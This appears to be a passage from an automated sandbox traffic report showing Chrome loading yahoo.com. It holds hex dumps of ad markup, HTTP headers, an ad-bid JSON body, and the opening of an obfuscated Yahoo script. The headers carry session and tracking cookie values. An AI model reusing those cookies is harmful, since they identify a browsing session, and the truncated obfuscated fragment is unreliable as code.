2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 61 6c 75 65 22 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 62 65 6e 6a 69 2d 31 2e 31 2e 33 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 22 6e 61 6d 65 22 3a 22 77 61 66 65 72 2d 62 65 6e 6a 69 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 2e 33 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 62 6f 74 74 6f 6d 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 61 63 74 69 6f 6e 2d 31 2e 38 2e 31 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 22 6e 61 6d 65 22 3a 22 77 61 66 65 72 2d 61 63 74 69 6f 6e 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 38 2e 31 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 62 6f 74 74 6f 6d 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 74 65 6d 70 6c 61 74 65 2d 31 2e 34 2e 33 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 22 Data Ascii: alue":"/aaq/wf/wf-benji-1.1.3-modern.js","name":"wafer-benji","version":"1.1.3"},{"location":"bottom","value":"/aaq/wf/wf-action-1.8.1-modern.js","name":"wafer-action","version":"1.8.1"},{"location":"bottom","value":"/aaq/wf/wf-template-1.4.3-modern.js","
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 56 41 35 76 52 33 4b 51 6c 49 58 64 68 72 55 39 47 62 64 76 69 42 52 63 72 77 38 6e 52 54 6d 6d 30 7a 66 75 75 6e 46 51 45 64 77 77 54 51 32 33 66 55 50 68 42 6e 6e 48 74 35 56 72 64 32 57 6d 65 6a 77 6f 66 58 42 4f 4f 72 4e 7a 6e 30 32 47 2d 77 70 4b 68 44 65 54 62 72 70 43 4f 4e 44 7a 74 69 71 34 5a 51 64 6c 4f 6f 6d 54 74 33 46 6f 6e 43 57 77 5a 78 49 58 57 59 34 36 78 31 42 64 6a 34 6b 32 65 65 50 49 56 2d 57 42 71 4f 57 76 6d 66 6c 6d 44 6b 75 7a 2d 42 63 6a 54 36 66 59 36 6d 56 37 50 4e 6e 57 54 67 47 51 4d 50 48 54 4d 77 30 47 70 59 58 33 58 4b 64 78 47 51 68 37 63 61 79 46 6b 69 75 64 26 61 6d 70 3b 61 70 3d 37 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 50 6f 73 28 72 29 20 73 68 6f 77 2d 74 68 65 6e 2d 68 69 64 65 2d 61 64 2d 63 6f 6e 66 69 Data Ascii: VA5vR3KQlIXdhrU9GbdviBRcrw8nRTmm0zfuunFQEdwwTQ23fUPhBnnHt5Vrd2WmejwofXBOOrNzn02G-wpKhDeTbrpCONDztiq4ZQdlOomTt3FonCWwZxIXWY46x1Bdj4k2eePIV-WBqOWvmflmDkuz-BcjT6fY6mV7PNnWTgGQMPHTMw0GpYX3XKdxGQh7cayFkiud&ap=7\"><div class=\"Pos(r) show-then-hide-ad-confi
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 7a 6c 53 4b 53 47 41 74 54 64 73 6f 77 47 6e 6c 66 70 64 62 51 59 78 30 54 71 67 78 44 4f 32 42 38 79 56 77 59 55 32 64 48 6a 45 36 74 75 4a 74 49 72 69 54 56 79 56 45 76 51 38 38 4e 47 76 44 59 4c 64 37 67 52 6f 4b 33 33 65 4f 47 39 6a 61 67 75 74 31 36 42 50 78 4a 36 59 41 56 69 45 54 4a 48 4c 70 79 78 39 4a 65 64 78 32 5a 74 5a 2d 70 67 6b 52 5f 70 2d 49 6d 31 57 44 68 64 47 67 63 37 65 51 51 6e 38 44 50 35 6a 35 43 63 36 68 41 68 68 46 77 4c 52 68 4a 58 61 4d 35 48 75 7a 42 4b 6f 5c 22 20 72 65 6c 3d 5c 22 6e 6f 66 6f 6c 6c 6f 77 20 6e 6f 6f 70 65 6e 65 72 20 6e 6f 72 65 66 65 72 72 65 72 5c 22 20 74 61 72 67 65 74 3d 5c 22 5f 62 6c 61 6e 6b 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 48 28 30 29 20 54 28 30 70 78 29 20 42 64 72 73 28 32 70 78 29 Data Ascii: zlSKSGAtTdsowGnlfpdbQYx0TqgxDO2B8yVwYU2dHjE6tuJtIriTVyVEvQ88NGvDYLd7gRoK33eOG9jagut16BPxJ6YAViETJHLpyx9Jedx2ZtZ-pgkR_p-Im1WDhdGgc7eQQn8DP5j5Cc6hAhhFwLRhJXaM5HuzBKo\" rel=\"nofollow noopener noreferrer\" target=\"_blank\"><div class=\"H(0) T(0px) Bdrs(2px)
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 28 6e 29 5c 22 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 2f 2f 61 2e 62 65 61 70 2e 67 65 6d 69 6e 69 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 6d 62 63 6c 6b 3f 62 76 3d 33 2e 30 2e 30 26 61 6d 70 3b 65 73 3d 41 51 41 41 41 42 4b 4f 51 72 45 53 4d 54 67 59 6e 67 39 35 41 35 49 38 64 4d 6d 76 77 38 5f 6e 4b 43 4b 70 73 31 54 74 4b 50 64 32 34 68 67 69 78 69 67 65 37 65 46 5f 67 59 7a 30 51 71 59 6a 77 4b 48 6d 6d 41 57 79 53 57 50 30 45 73 54 30 68 78 45 52 35 59 61 48 63 50 42 73 66 6c 74 38 58 4f 47 6f 76 6f 39 6a 4f 50 76 41 35 31 74 7a 39 44 64 62 47 36 34 67 46 6f 68 34 57 65 6a 2d 69 77 4b 35 79 41 31 33 72 6d 45 59 49 34 68 54 65 36 48 2d 77 39 78 37 64 30 49 32 4e 4f 73 6a 75 69 71 4c 48 68 65 78 66 63 31 63 34 6b 43 72 48 35 74 4c 57 33 66 54 66 42 4c 59 Data Ascii: (n)\" href=\"https://a.beap.gemini.yahoo.com/mbclk?bv=3.0.0&es=AQAAABKOQrESMTgYng95A5I8dMmvw8_nKCKps1TtKPd24hgixige7eF_gYz0QqYjwKHmmAWySWP0EsT0hxER5YaHcPBsflt8XOGovo9jOPvA51tz9DdbG64gFoh4Wej-iwK5yA13rmEYI4hTe6H-w9x7d0I2NOsjuiqLHhexfc1c4kCrH5tLW3fTfBLY
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 30 70 78 29 20 4d 65 6e 64 28 31 30 70 78 29 2d 2d 6d 64 31 31 36 30 5c 22 20 64 61 74 61 2d 79 6c 6b 3d 5c 22 65 6c 6d 3a 68 64 6c 6e 3b 65 6c 6d 74 3a 61 64 3b 69 74 63 3a 30 3b 62 70 6f 73 3a 31 3b 63 70 6f 73 3a 38 3b 63 70 6f 73 79 3a 31 33 3b 70 5f 73 79 73 3a 6a 61 72 76 69 73 3b 72 73 70 6e 73 3a 6e 61 76 3b 74 31 3a 61 33 3b 74 32 3a 73 74 72 6d 3b 74 33 3a 63 74 3b 63 63 6f 64 65 3a 6d 65 67 61 73 74 72 65 61 6d 5f 75 6e 69 66 69 65 64 5f 5f 65 6e 2d 55 53 5f 5f 66 72 6f 6e 74 70 61 67 65 5f 5f 64 65 66 61 75 6c 74 5f 5f 64 65 66 61 75 6c 74 5f 5f 64 65 73 6b 74 6f 70 5f 5f 67 61 5f 5f 6d 61 69 6e 2e 66 70 45 78 70 6c 3b 63 74 3a 61 64 3b 67 3a 6d 61 69 6e 2d 6e 61 74 69 76 65 2d 61 64 2d 36 3b 67 72 70 74 3a 73 69 6e 67 6c 65 73 74 6f 72 79 3b Data Ascii: 0px) Mend(10px)--md1160\" data-ylk=\"elm:hdln;elmt:ad;itc:0;bpos:1;cpos:8;cposy:13;p_sys:jarvis;rspns:nav;t1:a3;t2:strm;t3:ct;ccode:megastream_unified__en-US__frontpage__default__default__desktop__ga__main.fpExpl;ct:ad;g:main-native-ad-6;grpt:singlestory;
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 74 20 74 6f 20 56 65 72 69 7a 6f 6e 2e 3c 2f 68 33 3e 3c 75 20 63 6c 61 73 73 3d 5c 22 53 74 72 65 74 63 68 65 64 42 6f 78 5c 22 3e 3c 2f 75 3e 3c 2f 61 3e 3c 70 20 63 6c 61 73 73 3d 5c 22 46 7a 28 31 34 70 78 29 20 43 28 2d 2d 62 61 74 63 61 76 65 29 20 4c 68 28 31 2e 34 33 29 20 4d 28 30 29 20 42 78 7a 28 62 62 29 20 4c 69 6e 65 43 6c 61 6d 70 28 32 2c 34 32 70 78 29 5c 22 3e 4e 65 77 20 79 65 61 72 2c 20 6e 65 77 20 69 6e 74 65 72 6e 65 74 2e 20 35 47 20 48 6f 6d 65 20 49 6e 74 65 72 6e 65 74 20 70 6c 61 6e 73 20 73 74 61 72 74 20 61 74 20 6a 75 73 74 20 24 33 35 2f 6d 6f 2e 20 77 2f 20 41 75 74 6f 20 50 61 79 20 61 6e 64 20 73 65 6c 65 63 74 20 35 47 20 6d 6f 62 69 6c 65 20 70 6c 61 6e 73 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 Data Ascii: t to Verizon.</h3><u class=\"StretchedBox\"></u></a><p class=\"Fz(14px) C(--batcave) Lh(1.43) M(0) Bxz(bb) LineClamp(2,42px)\">New year, new internet. 5G Home Internet plans start at just $35/mo. w/ Auto Pay and select 5G mobile plans.</p></div></div></di
2024-01-10 23:27:14 UTC	746	IN	Data Raw: 31 35 26 61 6d 70 3b 61 6c 3d 28 74 79 70 65 24 66 64 62 5f 73 75 62 6d 69 74 2c 73 75 62 6f 24 32 30 30 2c 61 66 76 24 32 2e 30 29 5c 22 20 64 61 74 61 2d 79 6c 6b 3d 5c 22 62 70 6f 73 3a 31 3b 63 70 6f 73 3a 38 3b 63 70 6f 73 79 3a 31 33 3b 70 5f 73 79 73 3a 6a 61 72 76 69 73 3b 72 73 70 6e 73 3a 6e 61 76 3b 74 31 3a 61 33 3b 74 32 3a 73 74 72 6d 3b 74 33 3a 63 74 3b 63 63 6f 64 65 3a 6d 65 67 61 73 74 72 65 61 6d 5f 75 6e 69 66 69 65 64 5f 5f 65 6e 2d 55 53 5f 5f 66 72 6f 6e 74 70 61 67 65 5f 5f 64 65 66 61 75 6c 74 5f 5f 64 65 66 61 75 6c 74 5f 5f 64 65 73 6b 74 6f 70 5f 5f 67 61 5f 5f 6d 61 69 6e 2e 66 70 45 78 70 6c 3b 63 74 3a 61 64 3b 67 3a 6d 61 69 6e 2d 6e 61 74 69 76 65 2d 61 64 2d 36 3b 67 72 70 74 3a 73 69 6e 67 6c 65 73 74 6f 72 79 3b 70 6b Data Ascii: 15&al=(type$fdb_submit,subo$200,afv$2.0)\" data-ylk=\"bpos:1;cpos:8;cposy:13;p_sys:jarvis;rspns:nav;t1:a3;t2:strm;t3:ct;ccode:megastream_unified__en-US__frontpage__default__default__desktop__ga__main.fpExpl;ct:ad;g:main-native-ad-6;grpt:singlestory;pk

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
175	192.168.2.4	49924	23.55.243.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	614	OUT	GET /ss/nes/hbc?callback=window.advBidxc.cobrandConfig&cobrand=none HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10
2024-01-10 23:27:14 UTC	356	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Pragma: max-age=604800 Cache-Control: max-age=1800, post-check=1800 Expires: Wed, 10 Jan 2024 23:57:14 GMT Date: Wed, 10 Jan 2024 23:27:14 GMT Content-Length: 67 Connection: close Strict-Transport-Security: max-age=604800 Strict-Transport-Security: max-age=86400 ; includeSubDomains
2024-01-10 23:27:14 UTC	67	IN	Data Raw: 77 69 6e 64 6f 77 2e 61 64 76 42 69 64 78 63 2e 63 6f 62 72 61 6e 64 43 6f 6e 66 69 67 28 7b 22 63 6f 64 65 22 3a 22 30 22 2c 22 64 61 74 61 22 3a 7b 22 62 41 64 76 44 6d 73 22 3a 6e 75 6c 6c 7d 7d 29 Data Ascii: window.advBidxc.cobrandConfig({"code":"0","data":{"bAdvDms":null}})

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
176	192.168.2.4	49863	3.92.156.8	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	1254	OUT	POST /admax/bid/partners/YPBJS HTTP/1.1 Host: c2shb-oao.ssp.yahoo.com Connection: keep-alive Content-Length: 1377 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json x-openrtb-version: 2.5 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51
2024-01-10 23:27:14 UTC	1377	OUT	Data Raw: 7b 22 69 64 22 3a 22 39 65 34 35 65 37 32 38 2d 65 65 39 31 2d 34 61 30 33 2d 62 38 61 65 2d 35 32 36 64 35 30 39 65 34 66 64 39 22 2c 22 63 75 72 22 3a 5b 22 55 53 44 22 5d 2c 22 69 6d 70 22 3a 5b 7b 22 69 64 22 3a 22 37 35 33 38 33 34 31 30 38 34 33 34 35 32 39 35 31 37 30 34 39 32 39 32 33 33 34 37 34 22 2c 22 73 65 63 75 72 65 22 3a 31 2c 22 62 69 64 66 6c 6f 6f 72 22 3a 30 2e 31 35 2c 22 62 61 6e 6e 65 72 22 3a 7b 22 6d 69 6d 65 73 22 3a 5b 22 74 65 78 74 2f 68 74 6d 6c 22 2c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 61 76 61 73 63 72 69 70 74 22 2c 22 69 6d 61 67 65 2f 6a 70 67 22 5d 2c 22 66 6f 72 6d 61 74 22 3a 5b 7b 22 77 22 3a 33 30 30 2c 22 68 22 3a 32 35 30 7d 2c 7b 22 77 22 3a 33 30 30 2c Data Ascii: {"id":"9e45e728-ee91-4a03-b8ae-526d509e4fd9","cur":["USD"],"imp":[{"id":"75383410843452951704929233474","secure":1,"bidfloor":0.15,"banner":{"mimes":["text/html","text/javascript","application/javascript","image/jpg"],"format":[{"w":300,"h":250},{"w":300,
2024-01-10 23:27:14 UTC	348	IN	HTTP/1.1 204 No Content Date: Wed, 10 Jan 2024 23:27:14 GMT Server: ATS/9.1.10.94 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Methods: POST,GET,HEAD,OPTIONS Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Credentials: true Age: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.4	49927	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:14 UTC	537	OUT	GET /aaq/f10d509c/d1ccw66oyq8ex2.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	824	IN	HTTP/1.1 200 OK x-amz-id-2: xN257d4iFLxEV/dVhj/Uh3aMdOCX5b3STYkq0Xf/bEww8OZDmDm5dLlBck9ZDfwwz+4G27xZeGk= x-amz-request-id: M2WCS3X6PHYECV2F Date: Wed, 10 Jan 2024 23:25:00 GMT Last-Modified: Wed, 10 Jan 2024 21:54:20 GMT ETag: "609afddfe4b08824045d28842b8f10a4" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=600 x-amz-version-id: Jhdlqya_Yxn2CllYXUPSUKbSv89E_e3J Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 153059 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 135 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:14 UTC	771	IN	Data Raw: 28 6e 65 77 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 5b 27 71 4c 76 75 76 65 39 6f 27 2c 27 43 33 6c 72 47 74 30 49 27 2c 27 79 78 62 50 75 32 76 5a 43 32 4c 56 42 4c 76 31 41 77 71 3d 27 2c 27 44 67 76 34 44 61 3d 3d 27 2c 27 43 4d 76 57 42 67 66 4a 7a 75 6e 4f 41 77 58 4b 27 2c 27 44 33 6a 50 44 67 75 3d 27 2c 27 75 4b 72 6f 6c 76 47 3d 27 2c 27 44 32 35 4b 27 2c 27 41 77 35 64 43 4d 76 48 44 67 4c 32 7a 71 3d 3d 27 2c 27 71 76 62 68 27 2c 27 72 4e 6a 48 42 77 75 3d 27 2c 27 7a 67 39 4a 44 33 6a 50 44 67 75 3d 27 2c 27 44 67 39 6d 42 33 44 4c 43 4b 6e 48 43 32 75 3d 27 2c 27 7a 78 7a 30 6c 77 79 59 7a 47 3d 3d 27 2c 27 70 63 65 54 6c 73 62 49 42 77 71 36 6c 59 39 57 43 4d 76 49 41 77 71 2f 79 77 72 56 42 77 66 50 42 4e 6d 39 27 2c 27 41 77 Data Ascii: (new function(){var b=['qLvuve9o','C3lrGt0I','yxbPu2vZC2LVBLv1Awq=','Dgv4Da==','CMvWBgfJzunOAwXK','D3jPDgu=','uKrolvG=','D25K','Aw5dCMvHDgL2zq==','qvbh','rNjHBwu=','zg9JD3jPDgu=','Dg9mB3DLCKnHC2u=','zxz0lwyYzG==','pceTlsbIBwq6lY9WCMvIAwq/ywrVBwfPBNm9','Aw
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 4c 56 27 2c 27 43 32 76 30 71 78 72 30 43 4d 4c 49 44 78 72 4c 27 2c 27 79 32 39 55 44 67 66 50 42 4e 6d 3d 27 2c 27 7a 78 7a 4c 43 4e 4b 3d 27 2c 27 44 67 48 4c 42 47 3d 3d 27 2c 27 43 67 66 59 43 32 75 3d 27 2c 27 79 77 6e 30 41 77 39 55 78 32 44 59 42 33 76 57 78 32 4c 4b 27 2c 27 41 68 72 30 43 68 6d 36 27 2c 27 79 77 6e 30 41 77 39 55 78 32 35 48 42 77 75 3d 27 2c 27 70 73 48 43 7a 63 53 50 78 68 6d 3d 27 2c 27 73 75 35 71 76 76 71 3d 27 2c 27 76 30 66 65 6c 71 3d 3d 27 2c 27 42 33 44 55 7a 78 6a 66 42 67 76 54 7a 77 35 30 27 2c 27 43 33 72 59 41 77 35 4e 27 2c 27 79 32 7a 4e 6c 77 44 4e 43 57 3d 3d 27 2c 27 63 49 61 47 69 63 62 48 44 63 62 48 79 4d 39 31 44 64 50 5a 43 4d 6e 4b 42 32 6d 36 27 2c 27 79 33 76 59 43 4d 76 55 44 65 35 56 7a 67 75 3d 27 Data Ascii: LV','C2v0qxr0CMLIDxrL','y29UDgfPBNm=','zxzLCNK=','DgHLBG==','CgfYC2u=','ywn0Aw9Ux2DYB3vWx2LK','Ahr0Chm6','ywn0Aw9Ux25HBwu=','psHCzcSPxhm=','su5qvvq=','v0felq==','B3DUzxjfBgvTzw50','C3rYAw5N','y2zNlwDNCW==','cIaGicbHDcbHyM91DdPZCMnKB2m6','y3vYCMvUDe5Vzgu='
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 45 68 62 59 27 2c 27 72 76 48 71 6c 76 72 70 27 2c 27 79 4d 4c 55 7a 61 3d 3d 27 2c 27 42 67 39 4a 79 78 72 50 42 32 34 3d 27 2c 27 43 67 58 48 79 32 76 54 7a 77 35 30 73 66 72 6e 74 61 3d 3d 27 2c 27 73 77 35 50 44 61 3d 3d 27 2c 27 43 32 66 55 7a 67 6a 56 45 61 3d 3d 27 2c 27 7a 32 76 30 75 68 6a 56 44 67 39 30 45 78 62 4c 74 32 79 3d 27 2c 27 6c 4e 72 56 43 63 57 3d 27 2c 27 42 78 76 30 7a 77 71 47 43 67 58 48 45 78 6e 50 42 4d 58 50 42 4d 75 47 27 2c 27 79 4d 4c 4b 75 4d 76 5a 27 2c 27 72 4b 39 73 74 71 3d 3d 27 2c 27 7a 32 76 30 76 67 4c 54 7a 78 50 56 42 4d 76 70 7a 4d 7a 5a 7a 78 71 3d 27 2c 27 7a 4d 4c 53 44 67 76 59 27 2c 27 79 78 76 30 42 33 62 53 79 78 4b 3d 27 2c 27 70 68 6a 4a 44 64 35 33 41 77 71 39 27 2c 27 72 32 39 30 79 32 48 48 27 2c 27 Data Ascii: EhbY','rvHqlvrp','yMLUza==','Bg9JyxrPB24=','CgXHy2vTzw50sfrnta==','sw5PDa==','C2fUzgjVEa==','z2v0uhjVDg90ExbLt2y=','lNrVCcW=','Bxv0zwqGCgXHExnPBMXPBMuG','yMLKuMvZ','rK9stq==','z2v0vgLTzxPVBMvpzMzZzxq=','zMLSDgvY','yxv0B3bSyxK=','phjJDd53Awq9','r290y2HH','
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 27 2c 27 79 33 76 59 43 4d 76 55 44 66 72 50 42 77 75 3d 27 2c 27 6b 67 6d 50 69 65 6e 53 7a 77 66 55 6c 4d 4c 56 69 65 4c 55 79 59 34 53 69 64 69 57 6d 4a 69 55 69 65 66 53 42 63 62 73 41 77 44 4f 44 68 6d 47 75 4d 76 5a 7a 78 6a 32 7a 77 71 3d 27 2c 27 42 67 39 4e 75 32 4c 36 7a 71 3d 3d 27 2c 27 79 77 58 30 27 2c 27 72 78 7a 4c 42 4e 72 75 79 78 6a 4e 7a 78 71 3d 27 2c 27 63 4b 62 48 79 4d 39 31 44 64 50 49 42 67 66 55 41 57 3d 3d 27 2c 27 7a 67 76 4d 41 77 35 4c 75 68 6a 56 43 67 76 59 44 68 4b 3d 27 2c 27 7a 78 7a 30 6c 77 58 56 7a 57 3d 3d 27 2c 27 79 32 39 55 7a 4d 4c 4e 6c 4e 6e 4c 7a 77 72 30 79 77 43 55 79 32 39 54 6c 33 6e 30 79 77 35 4b 79 78 6a 4b 6c 77 4c 4d 43 4d 66 54 7a 73 39 50 42 4d 72 4c 45 63 35 32 6d 71 3d 3d 27 2c 27 43 33 76 49 42 Data Ascii: ','y3vYCMvUDfrPBwu=','kgmPienSzwfUlMLVieLUyY4SidiWmJiUiefSBcbsAwDODhmGuMvZzxj2zwq=','Bg9Nu2L6zq==','ywX0','rxzLBNruyxjNzxq=','cKbHyM91DdPIBgfUAW==','zgvMAw5LuhjVCgvYDhK=','zxz0lwXVzW==','y29UzMLNlNnLzwr0ywCUy29Tl3n0yw5KyxjKlwLMCMfTzs9PBMrLEc52mq==','C3vIB
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 68 6a 4c 7a 76 44 48 42 67 54 4c 43 47 3d 3d 27 2c 27 6c 4d 48 59 7a 77 79 3d 27 2c 27 79 32 7a 4e 6c 77 76 30 42 68 43 3d 27 2c 27 6a 4d 6e 57 42 74 30 3d 27 2c 27 71 75 72 74 76 65 53 59 75 57 3d 3d 27 2c 27 72 65 4c 77 27 2c 27 79 32 48 48 43 4b 6e 56 7a 67 76 62 44 61 3d 3d 27 2c 27 42 4d 39 56 43 67 76 55 7a 78 69 3d 27 2c 27 69 4c 30 47 6a 49 79 47 44 32 4c 55 7a 67 39 33 77 59 69 3d 27 2c 27 79 78 62 50 75 32 6e 59 41 78 62 30 75 33 6a 4a 27 2c 27 43 68 6a 4c 44 4d 76 55 44 65 72 4c 7a 4d 66 31 42 68 71 3d 27 2c 27 6a 32 35 56 42 4d 6e 4c 6c 71 3d 3d 27 2c 27 7a 78 7a 30 6c 77 6e 5a 43 4a 65 3d 27 2c 27 41 68 72 54 42 65 72 48 44 67 65 3d 27 2c 27 7a 78 7a 30 6c 77 58 30 43 4e 61 59 27 2c 27 79 32 7a 4e 6c 78 4c 4f 79 47 3d 3d 27 2c 27 78 33 75 4f Data Ascii: hjLzvDHBgTLCG==','lMHYzwy=','y2zNlwv0BhC=','jMnWBt0=','qurtveSYuW==','reLw','y2HHCKnVzgvbDa==','BM9VCgvUzxi=','iL0GjIyGD2LUzg93wYi=','yxbPu2nYAxb0u3jJ','ChjLDMvUDerLzMf1Bhq=','j25VBMnLlq==','zxz0lwnZCJe=','AhrTBerHDge=','zxz0lwX0CNaY','y2zNlxLOyG==','x3uO
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 58 50 7a 77 35 30 71 4d 4c 4b 7a 67 76 59 27 2c 27 79 77 72 53 6c 71 3d 3d 27 2c 27 75 68 6a 4c 72 32 39 30 79 32 48 48 27 2c 27 7a 77 35 31 42 77 76 59 79 77 6a 53 7a 71 3d 3d 27 2c 27 69 63 38 47 27 2c 27 70 68 6a 4a 44 64 35 30 45 68 71 39 27 2c 27 79 4d 4c 4b 75 4d 76 5a 43 67 39 55 43 32 75 3d 27 2c 27 70 68 6e 4a 43 4d 4c 57 44 63 62 55 42 32 35 4a 7a 74 30 49 27 2c 27 42 67 39 4a 79 78 72 50 42 32 34 56 27 2c 27 43 67 39 5a 44 65 31 4c 43 33 6e 48 7a 32 75 3d 27 2c 27 42 4d 39 55 79 32 75 3d 27 2c 27 79 32 39 55 79 32 66 30 27 2c 27 70 63 39 5a 79 33 6a 50 43 68 71 2b 27 2c 27 44 78 6e 4c 43 4b 66 4e 7a 77 35 30 27 2c 27 71 32 39 55 44 67 76 55 44 63 31 75 45 78 62 4c 27 2c 27 74 4d 66 32 41 77 44 48 44 67 39 59 27 2c 27 79 32 39 55 44 67 76 55 44 Data Ascii: XPzw50qMLKzgvY','ywrSlq==','uhjLr290y2HH','zw51BwvYywjSzq==','ic8G','phjJDd50Ehq9','yMLKuMvZCg9UC2u=','phnJCMLWDcbUB25Jzt0I','Bg9JyxrPB24V','Cg9ZDe1LC3nHz2u=','BM9Uy2u=','y29Uy2f0','pc9Zy3jPChq+','DxnLCKfNzw50','q29UDgvUDc1uExbL','tMf2AwDHDg9Y','y29UDgvUD
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 79 32 58 48 43 33 6e 6f 79 77 31 4c 27 2c 27 6a 4d 58 30 6f 57 3d 3d 27 2c 27 43 32 76 4c 7a 66 72 48 7a 57 3d 3d 27 2c 27 43 4d 76 4d 7a 78 6a 59 7a 78 69 3d 27 2c 27 6a 4e 75 39 27 2c 27 43 67 66 59 7a 77 35 30 74 4d 39 4b 7a 71 3d 3d 27 2c 27 74 30 6a 6f 27 2c 27 44 4d 66 53 44 77 75 3d 27 2c 27 6e 63 34 59 6e 73 34 31 6c 77 66 58 27 2c 27 79 78 62 50 76 78 6e 4c 43 4e 6e 4a 43 4d 4c 57 44 61 3d 3d 27 2c 27 43 68 76 30 27 2c 27 71 4b 66 74 72 71 3d 3d 27 2c 27 43 4e 76 55 76 67 66 59 7a 32 76 30 41 77 35 4e 71 76 62 6f 27 2c 27 78 31 39 57 43 4d 39 30 42 31 39 46 27 2c 27 43 4d 76 5a 41 77 72 31 79 77 58 69 76 65 31 6d 27 2c 